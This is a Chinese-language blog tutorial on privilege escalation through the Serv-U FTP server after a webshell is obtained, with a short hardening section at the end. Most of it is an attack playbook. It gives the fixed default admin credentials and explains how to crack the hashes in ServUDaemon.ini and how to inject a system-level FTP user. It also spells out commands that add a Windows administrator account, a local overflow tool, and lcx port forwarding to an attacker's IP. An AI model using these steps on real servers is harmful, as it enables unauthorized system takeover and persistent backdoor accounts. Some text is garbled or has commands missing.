当你的才华
还撑不起你的野心时
那你就应该静下心来学习
第三方软件提权
Server-u 提权
Serv-U FTP Server,是一种被广泛运用的FTP服务器端软件,支持3x/9x/ME/NT/2K等全Windows系列。可以设定多个FTP服务器、限定登录用户的权限、登录主目录及空间大小等 。
对于可写权限的,可以通过手工修改ServUDaemon.ini文件来修改用户密码了。但是注意这样修改后的密码,需要重起Serv-U才能生效。要使得密码即时生效,还需要在ServUDaemon.ini的[[GLOBAL]]部分加入ReloadSettings=True,这个语句在Serv-U重新载入ServUDaemon.ini的内容后会自动消失。
由于Serv-U的用户多,提权成功率也高,众多ASP木马纷纷将此提权功能集成在内(大部分木马都是针对不可写权限情况设计的)。
对于不可写权限,serv_u6.4以下的,如果默认密码没有修改的,直接可以提权。7以上的可以修改下脚本提权目录,不要用默认的C盘,改在其他盘符用脚本提权
如果管理员能够执行,就用管理员帐 来提权
如果不行,就利用管理员身份创建可以执行的用户
server-u提权常用方法一
1,查看默认安装目录下的ServUDaemon.ini文件,进而查看用户名和密码,将密码去cmd5.com找到对应的server-u的解密方式进行解密。
2,登入ftp,执行如下命令,创建用户,并且加入到管理员组。
server-u提权常用方法二
1,使用大马直接创建ftp账 ,使用ftp账 登入ftp。
2,然后再执行如下命令,创建系统账 。
server-u提权常用方法三
server-u的管理员账 权限较大,相当于系统权限,可以通过管理员账 直接创建用户,并且加入到管理员组。
0x01 Serv-U提权分两种
有修改权限(可写权限)
无权限修改(不可写权限)
拓展知识:
nbsp; 本地溢出权限提升(该漏洞存在于serv-u 6.0和6.0以前的版本)
serv-u ftp转发端口
前言
预备知识:
serv-u默认安装目录:C:Program Filesrhinosoft.comserv-U
serv-u密码文件:ServUDaemon.ini
端口如果改了可以通过pid查看
或者可以到serv u的配置文件里面去找!
SerUDaemon.ini这个文件
lccalsetuportNo=端口
管理员修改了serv u 密码
进入其安装目录找到serv u的ServUDaemon.ini这个文件(该文件时储存密码的),然后将密码丢到shell里面去,然后进行serv-u提权,不过一般管理员并不修改serv-u的密码
0x02 有修改权限
0. 判断是否安装serv-u
serv-u的默认端口是43958 可以用nmap 扫描确认
1. 检查是否有可写权限
一般安装目录 c:Program FilesServ-uSerUDaemon.ini
打开配置文件
2. 增加用户
在user4=添加一个系统用户
或这样也可以
注:Access1=C:|RWAMELCDP(这个代表所有权限,包括可执行)
复制一个 修改名字
password 密码格式是 gw+md5
我从https://www.cmd5.com/ 把gw123456 加密 注意gw是他的,也属于密码规则
把加密完的密码去替换复制的密码 password=gw+md5(gw123456)
默认的密码加密规则是:
那么知道这个原理,我们可以把找到的密码分开去破解,然后用破解的用户名和密码再去用脚本提权
maintenance=system 是代表系统权限 user=你命名的用户
cmd访问 ftp 连接 ip 输入你刚刚添加的用户密码 ,登录成功如下图:
输入
利用ftp命令quote site exec 添加用户 加入administrators 权限组
打开3389连接
PS:上述添加的文件中最重要的是Maintenance=System这句,有了这句添加的FTP用户才是管理员用户,才会有命令执行权限(因为最后是通过FTFP执行命令来添加系统用户的)
上看到的另外一种有权限方式
Serv-U目录有修改提权:
ServU 密码加密存储方法
首先随机生成2位字符(从a-z小写字符)
再将用户原始密码与这2位随机字符合并成为新的密码字符.
如: 用户原始密码为a,随机生成字符为dx,则合并后新的密码字符串为:”dxa”
再使用新密码字符串进行MD5 Hash运算.
然后再存储到ini文件,存储方法为2位随机字符加上新密码字符的MD5 Hash值.
如下:
ServU 密码破解方法:
除去前2位随机字符获得F2319AE3B312103BB3259CA8242DD16C.
把该MD5 Hash值存入暴力破解工具,产生字典时注意前2位密码必定是dx.
提权思路:Serv-U 修改serv-u配置文件 添加超级管理员
步骤:
用cmd登陆ftp,,然后在执行下列命令添加用户
C:Program FilesRhinoSoft.comServ-U 默认端口43958 修改的文件ServUDaemon.ini (默认路径)
注意:添加失败的原因可能添加的用户名重名,试试其他组合的用户名,User2=pp|1|0 (用户的顺序一定要设置好)
0x03 无修改权限
1. 利用md5 直接去解密(ini 文件密码在ftp连)
2. 默认密码,默认用户
端口写上ftp的端口
口令可能不是默认值,(通过c32hex它)
hex 就是十六进的意思
账户:LocalAdministrator ,密码:#l@$ak#.lk;0@P
命令cmd /c net user DisKill /add & net localgroup administrators DisKill /add
3. 不是默认密码时 直接把SerUAdmin.exe 下载下来 进行查看密码
0x04 对权限文件,进行一个总结吧
serv-u配置文件无修改权限,但是可以看到配置文件,进行口令破解
看到FTP用户的配置文件ServUDaemon.ini,在其中找到Maintenance=System的用户,该用户就是系统管理员。如果能够成功破解系统管理员的口令,就可以利用该管理员执行添加系统管理员的用户
serv-u配置文件中Password字段就是用户口令加密变换后的字符串,破解方法:去掉前两位,剩下的进行md5破解,破解后再去掉前两位,剩下的就是FTP用户口令。
serv-u配置文件无修改权限,可以用Serv-u管理用户来进行提权(这是最常用的方法,一般大马中集成的serv-u提权方法就是本方法)
serv-u的默认管理端口是43958,只有本地才能进行连接这个管理端口。serv-u默认管理账 是LocalAdministrator,默认密码是”#l@$ak#.lk;0@P“,这个密码是固定的。如果 站管理员忘记修改密码,那么获取webshell后就可以连接该端口后执行命令来添加系统用户。
虽然, 站管理员很少修改serv-u的这个默认管理账 和口令,但是如果管理员修改了,我们还可以通过查 ServUAdmin.exe文件来获取管理账 和口令。
方法如下:
0x05 serv-u ftp本地溢出权限提升(使用6.0以及以前版本)
1、用Serv-U提权综合工具生成提权工具serv_u.exe
2、先上传 serv_u.exe 到一个盘符下 比如是d盘
3、执行命令 d:serv_u.exe
4、d:serv_u.exe “net user username password /add” (注意命令要有引 )
5、d:serv_u.exe “net localgroup administrators username /add” (注意命令要有引 )
0x06 serv-u ftp转发端口
上一种方法中提到serv-u的本地管理账 只能本地进行连接,但我们可以利用端口转发的方式来将其管理端口转发的本地,进而提权。在目标Webshell上运行LCX:lcx -slave 你的IP 5000 127.0.0.1 43958
在本机上运行:lcx -listen 5000 21
打开本地的SERV_U 在IP上填入127.0.0.1 帐 写LocalAdministrator 密码#l@$ak#.lk;0@P
此时的连接过程是:本机连接21端口——>转发往本机5000端口——>管道连接至远程机5000端口——>转发至远程43958端口
连接成功后,在本机登陆Serv_U就相当于登陆了远程的Serv_U。你可以FTP登陆本机IP,输入上面的帐 和密码,在远程FTP服务器上执行命令。
上面是serv-u6及以下的主要方法,其中方法也适用于servu-7等版本,只是文件路径可能有所变化。下面讲serv-u7及以上版本的提权,不适用于serv-u6是因为文件路径发生变化,serv-u6没有相应文件。
serv-u7中管理员的口令在C:Program FilesRhinoSoft.comServ-UUsersLocal Administrator Domain.Archive文件中,破解方法和serv-u6是一样的。
那么该如何防御呢/h2>
servr-u如果权限设置不当容易被提权,添加账
防范方法:
1.确保serv-u安装路径只有系统用户访问权限
2.确保建立的ftp账 不要给执行权限
3.修改ftp默认监听端口
Serv-U防溢出提权攻击解决办法:
降底Serv-U的运行权限与控制Serv-U的“Acls”可访问目录
分析一下Ser-U 防溢出提权产生的原因
前言:
大家应该都还没有忘记三年前在Serv-U5.004版的之前所有版本的”Serv-U FTPMDTM命令缓冲区溢出”与”Serv-U FTP服务器LIST命令超长-l参数远程缓冲区溢出漏洞”吧,这个漏洞让很多服务器管理员立坐不安,也让很多大型的站点、甚至电信级的服务器沦陷了…随着Serv-U新版本的推出,这个漏同已经不存在了;虽然溢出不存在了,但黑客永远也没有停止,所以伴随着来的又是Serv-U5.0到6.0之黑客常用的本地提升权限缺陷。(注:最常见的就如webshell+su提权,我在 Baidu输入”Serv-U提权”关键词,搜索结果“百度一下,找到相关 页约34,000篇,用时0.001秒 ”)因此,解决Serv-U的安全问题迫在眉睫。
Serv-U提权虽然严格来说这个不应该算是Serv-U的重大漏洞,但只要因管理员的配置不当将会产生严重的后果;下面LeeBolin就来为大家介绍下如何安全配置 Serv-U,才能保证Serv-U甚至服务器的安全
一、大家知道Liunx系统和Unix系统比Windows安全的一个重要原因在于:
Linux和Unix的系统服务不使用root权限,而是使用权限比较低的另外一个单独用户,比如web服务使用了nobody这个用户。而Serv-U默认是以system身份运行的,而System这个系统内置账户对本机有完全操作的权限;因此如果攻击者利用Serv-U程序的漏洞而获得了可执行shell的那,那么他将可以随意控制操作系统里任何一个目录了
二、我们根据一的讲解知道了为什么Serv-U提权与溢出攻击可怕的原因了,那么我们该如何防止这一类攻击的发生呢/strong>
答案:就是降底Serv-U的运行权限与控制Serv-U的“Acls”可访问目录。
四、到目前为止,我们的Serv-U已经简单的做到了防提权,防溢出了。为什么呢/strong>
因为能常远程溢出 overflow的话,都是通过得一shell 而进行进一步的hacking,而我们现在的Serv-U不是以system运行,所以即使执行了overflow指命,也并不能得到什么…防提权就不用我解释了:因为我们的Serv-Uadmin没有任何系统级的ACLs访问权限..
后记:其实服务器、系统的安全是个整体的概念;有可能你其它一小点的疏忽就可以让你的 站、甚至服务器沦陷。因此安全策略必需走防患未然的道路,任何一个小地方都不能马虎、今天关于防Serv-U的安全配置小技巧就为大家介绍到这里…
参考链接:
https://www.landui.com/help/show-1354.html
https://www.landui.com/help/show-6145.html
声明:本站部分文章及图片源自用户投稿,如本站任何资料有侵权请您尽早请联系jinwei@zod.com.cn进行处理,非常感谢!